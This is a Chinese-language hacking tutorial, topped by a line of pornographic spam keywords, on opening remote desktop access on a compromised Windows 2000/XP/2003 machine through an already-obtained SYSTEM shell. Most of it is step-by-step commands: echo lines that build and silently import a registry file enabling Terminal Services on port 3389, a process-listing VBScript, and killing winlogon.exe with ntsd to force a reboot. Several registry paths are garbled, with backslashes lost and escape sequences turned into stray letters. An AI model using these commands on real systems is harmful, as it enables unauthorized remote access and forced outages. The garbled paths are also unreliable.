欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

　　不須上傳任何文件開(kāi)啟終端的方法適合win2k,xp,2003.

　　本文前提是已經(jīng)通過(guò)某種方法得到了對方的一個(gè)SYSTEM權限的CMDSHELL~~

　　在無(wú)須傳任何文件的情況下開(kāi)啟終端服務(wù)。

　　一、win 2k下終端開(kāi)啟終端

　　首先用ECHO寫(xiě)一個(gè)3389.reg文件,然后導入到注冊表，echo代碼如下：

　　echo Windows Registry Editor Version 5.00 >>3389.reg

　　echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion etcache] >>3389.reg

　　echo "Enabled"="0" >>3389.reg

　　echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>3389.reg

　　echo "ShutdownWithoutLogon"="0" >>3389.reg

　　echo [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] >>3389.reg

　　echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg

　　echo "TSEnabled"=dword:00000001 >>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>3389.reg

　　echo "Start"=dword:00000002 >>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>3389.reg

　　echo "Start"=dword:00000002 >>3389.reg

　　echo [HKEY_USERS.DEFAULTKeyboard LayoutToggle] >>3389.reg

　　echo "Hotkey"="1" >>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp] >>3389.reg

　　echo "PortNumber"=dword:00000D3D >>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg

　　echo "PortNumber"=dword:00000D3D >>3389.reg

　　把這些ECHO代碼到CMDSHELL下貼粘就可以生成3389.reg文件，接著(zhù)regedit /s 3389.reg導入注冊表。

　　(如果要改變終端端口只須把上面的兩個(gè)D3D都改一下就可以了)

　　因為win 2k下開(kāi)終端不能像XP一樣可以立即生效,而是需重啟機器后才生效。

　　一個(gè)簡(jiǎn)單的辦法就是用ntsd.exe(win 2k以上自帶的命令)結束一個(gè)重要的進(jìn)程就可以實(shí)現機器重啟了??！

　　比如結束winlogon.exe,lsass.exe也可以但結束后會(huì )跳出重啟倒計時(shí)(不太好~)

　　winlogon.exe被關(guān)閉后機器立刻強制重啟了

　　命令執行格式為ntsd -c q -p PID

　　那如何知道winlogon.exe的PID進(jìn)程號呢~

　　以下這個(gè)腳本可以列舉當前所有進(jìn)程的PID：

　　wscript.echo "PID　 ProcessName"

　　for each ps in getobject("winmgmts:\. ootcimv2:win32_process").instances_

　　wscript.echo ps.handle&vbtab&ps.name

　　next

　　在CMDSHELL窗口下貼上如下ECHO代碼就可以得到查看進(jìn)程PID的腳本1.vbe：

　　echo wscript.echo "PID　 ProcessName">>1.vbe

　　echo for each ps in getobject("winmgmts:\. ootcimv2:win32_process").instances_ >>1.vbe

　　echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe

　　echo next>>1.vbe

　　生成1.vbe后請檢查一下echo出來(lái)的腳本是否有錯(才四行，對一下上面給出的就可以了)。

　　運行1.vbe得到如下運行結果：

　　C:WINNTsystem32>cscript 1.vbe

　　cscript 1.vbe

　　Microsoft (R) Windows 腳本宿主版本 5.1 for Windows

　　版權所有(C) Microsoft Corporation 1996-1999. All rights reserved.

　　PID　 ProcessName

　　0　　 System Idle Process

　　8　　 System

　　152　 smss.exe

　　180　 csrss.exe

　　200　 winlogon.exe

　　228　 services.exe

　　240　 lsass.exe

　　424　 svchost.exe

　　472　 spoolsv.exe

　　512　 msdtc.exe

　　616　 svchost.exe

　　628　 KAVSvc.EXE

　　660　 llssrv.exe

　　692　 nvsvc32.exe

　　728　 regsvc.exe

　　748　 MSTask.exe

　　776　 alter.exe

　　900　 svchost.exe

　　916　 WinMgmt.exe

　　1088　 Dfssvc.exe

　　484　 Explorer.EXE

　　1444　 mdm.exe

　　1340　 Server.exe

　　1224　 ibguard.exe

　　1252　 KAVSvcUI.EXE

　　1256　 ibserver.exe

　　1336　 internat.exe

　　1204　 Uspds.exe

　　720　 bar.exe

　　1288　 dllhost.exe

　　1580　 inetinfo.exe

　　1672　 cmd.exe

　　1464　 pppoe.exe

　　1704　 regedit.exe

　　316　 cscript.exe

　　從上面可以看出當前winlogon.exe的PID號為200運行命令ntsd -c q -p 200 (這里的200要替換為winlogon.exe進(jìn)程對就的PID啦)過(guò)會(huì )兒機器馬

　　上重啟了(ntsd.exe是WIN自帶的可用來(lái)結束任意級別進(jìn)程)等著(zhù)收獲吧~~

　　二、winxp和win2003終端開(kāi)啟

　　開(kāi)啟的REG文件代碼如下：

　　Windows Registry Editor Version 5.00

　　[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]

　　"fDenyTSConnections"=dword:00000000

　　[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp]

　　"PortNumber"=dword:00000D3D

　　[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]

　　"PortNumber"=dword:00000D3D

　　用以下ECHO代碼寫(xiě)一個(gè)REG文件：

　　echo Windows Registry Editor Version 5.00>>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg

　　echo "fDenyTSConnections"=dword:00000000>>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp]>>3389.reg

　　echo "PortNumber"=dword:00000d3d>>3389.reg

　　echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg

　　echo "PortNumber"=dword:00000d3d>>3389.reg

　　regedit /s 3389.reg

　　del 3389.reg

　　這樣xp和2003開(kāi)啟終端是不用重啟的如果你想改端口只需把上面的兩個(gè)PortNumber對應的D3D改成相應十進(jìn)制數的十六進(jìn)制形式就可以了！用計算器轉換吧。XP下不論開(kāi)終端還是改終端端口都不需重啟，真是太妙了~~呵呵。如果要關(guān)閉終閉只需把"fDenyTSConnections"=dword:00000000

　　改成"fDenyTSConnections"=dword:00000001